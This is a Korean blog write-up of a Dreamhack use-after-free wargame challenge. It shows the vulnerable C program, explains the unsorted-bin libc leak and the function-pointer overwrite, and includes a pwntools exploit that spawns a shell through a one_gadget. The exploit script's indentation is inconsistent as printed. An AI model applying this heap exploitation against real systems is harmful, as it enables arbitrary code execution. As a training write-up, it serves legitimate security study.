[Dreamhack] Use After Free: 2 - Use After Free (wargame)

securitykss·2023년 1월 30일
0

Pwnable 강의(dreamhack)

목록 보기
32/58

1. Description

2. Check

2.1 C code

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>


// 구조체 선언 부분
struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

// 전역 변수 선언 부분
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;


// robot의 name 출력 함수
void print_name() { printf("Name: %s\n", robot->name); }


// menu 출력 함수
void menu() {

  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");

}


// human 구조체 변수 동적 할당 후
// human의 멤버들에 값 대입, 그 후 free로 해제
void human_func() {

  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));
  strcpy(human->name, "Human");
  printf("Human Weight: ");

  scanf("%d", &human->weight);
  printf("Human Age: ");
  
  scanf("%ld", &human->age);
  free(human);

}


// robot 구조체 변수 동적 할당 후 
// robot의 멤버들에 값 대입,
// 여기서, robot->fptr에서 값이 있으면 robot->fptr(); 호출
// robot->fptr에 값이 없으면, print_name함수를 robot->fptr에 넣음
// 그후, robot->fptr(robot); 호출 후 free로 해제
void robot_func() {

  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));
  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");

  scanf("%d", &robot->weight);
  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;
    
  robot->fptr(robot);

  free(robot);

}

// 전역 변수 custom에 동적 할당, 값 대입, 해제 후 값 초기화
int custom_func() {

  unsigned int size;
  unsigned int idx;

  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {

    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);
    
    printf("Data: %s\n", custom[c_idx]);
    printf("Free idx: ");

    scanf("%d", &idx);
    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {

  int idx;
  char *ptr;

  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {

    menu();
    scanf("%d", &idx);
    switch (idx) {

      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

code description

human_func과 robot_func 함수들은 구조체 변수에서 메모리 할당을 할 때, 할당한 메모리를 해제만 하고, 초기화하지 않는다.

Human 구조체와 Robot 구조체는 크기가 같으므로, 한 구조체를 해제하고 다른 구조체를 할당하면 해제된 구조체의 값을 사용할 수 있는, Use After Free가 발생한다.

robot_func에서 Robot 변수는 fptr이 NULL이 아니면 호출하므로, Use After Free로 해당 변수에 원하는 값을 즉, system("/bin/sh")의 gadget 같은 것을 남겨 놓으면,

실행 흐름을 바꿀 수 있다.

custom_func도 마찬가지로 0x100이상의 크기를 갖는 청크를 할당하고 해제하지만, 메모리 영역의 초기화가 제대로 이뤄지지 않아 Use After Free에 취약하다.

2.2 file

2.3 checksec

3. Design

3.1 libc leak

UAF의 취약점을 이용해서, libc가 매핑된 주소를 알아내야한다.

Unsorted bin의 특징을 이용해 알아보자.

Unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성한다.

처음 unsorted bin에 연결되는 청크의 fd와 bk에는 libc 내부의 주소가 쓰인다.

따라서 unsorted bin에 연결된 청크를 재할당하고, fd나 bk의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있다.

이 문제에 custom_func 함수는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제 할 수 있는 함수이다.

0x410 바이트 이하의 크기(1040바이트)를 갖는 청크는 tcache에 먼저 삽입되므로,

이보다 큰 청크를 해제해서 unsorted bin에 연결하고,

이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 알 수 있다.

이 때, 해제할 청크가 top 청크와 맞닿아 있으면 청크의 특징인 병합 현상때문에,

연속으로 청크에 할당 후, 처음의 청크를 해제해야한다.

3.2 overwrite func's pointer

Human과 Robot은 같은 크기의 구조체이므로, Human 구조체가 해제되고 Robot 구조체가 할당되면, Robot은 Human이 사용했던 영역을 재사용한다.

Robot이 할당될 때, 사용할 메모리 영역을 초기화 하지 않으므로 Human에 입력한 값은 재사용된다.

Human 구조체의 age는 Robot 구조체의 fptr과 위치가 같다.

그러므로 human_func를 호출했을 때, age에 one_gadget 주소를 입력하고, 이어서 robot_func를 호출하면 fptr의 위치에 남아있는 one_gadget을 호출시킬 수 있다.

4. Exploit

4.1 exploit code

# Name: uaf_overwrite.py

from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age): 
	p.sendlineafter(">", "1")    
    p.sendlineafter(": ", str(weight))   
    p.sendlineafter(": ", str(age))
    
def robot(weight):   
	p.sendlineafter(">", "2")  
    p.sendlineafter(": ", str(weight))
    
    
def custom(size, data, idx):  
	p.sendlineafter(">", "3") 
    p.sendlineafter(": ", str(size))   
    p.sendafter(": ", data)   
    p.sendlineafter(": ", str(idx))
    

# 1. libc_base 구하기

# 1번째 chunk에 0x500 size만큼, AAAA 입력, -1로 free 피해가기(out of bounds 특징을 이용)
custom(0x500, "AAAA", -1)

# 2번째 chunk에 0x500 size만큼, AAAA 입력, -1로 free 피해가기
custom(0x500, "AAAA", -1)

# 3번째 chunk에 0x500 size만큼, AAAA 입력, 0입력으로, 1번째 chunk 해제
# 이 때, main_arena+96의 주소가 fd,bk에 남아 있음
custom(0x500, "AAAA", 0)

# 다시 1번째 chunk에 0x500 size만큼, B 입력, -1로 free 피해가기
# 이 때, main_arena의 주소가 일부 출력됨(use after free 취약점으로 인해서)
custom(0x500, "B", -1)

# vmmap으로 libc_base의 주소를 구하고
# x/gx로 main_arena의 주소 일부분과 빼서 offset을 구함
# 구한 offset인 0x3ebc42
# 이제 실행하면서 얻어낸, main_arena의 일부분의 주소와 offset을 빼서 libc_base를 구함
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42


# 2. 함수 포인터 덮어쓰기
# one_gadget으로 execve("/bin/sh") offset 구함 -> 0x10a41c
# 그리고 libc_base와 더해서, 완전한 execve("/bin/sh")을 만듦
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

# 'robot -> fptr'은 함수를 호출하는 부분이고
# 'human -> age'와 같은 위치에 있으므로
# 여기에 og를 넣고, 해제하면, 그대로 남아있다.
# 그 후, robot을 호출하면, void(*fptr)() 이 부분이 호출되어서 shell이 실행된다.

human("1", og)
robot("1")

p.interactive()

4.2 result

마치며

libc_base를 구하는 과정에서 gdb의 vmmap과 x/gx를 활용을 해서 어렵게 얻어냈다.

그리고, libc_base를 구하는 과정은 어떤 라이브러리를 사용하는 지에 따라 코드가 달라진다.

예를 들어, 필자의 local 라이브러리 환경은 libc.so.6을 쓰기때문에,

one_gadget과 main_arena와 libc_base의 offset도 다르다.

Reference

https://dreamhack.io/lecture/courses/119 (설명 출처)

https://dreamhack.io/wargame/challenges/357/ (문제 출처)

profile
보안 공부를 하는 학생입니다.

0개의 댓글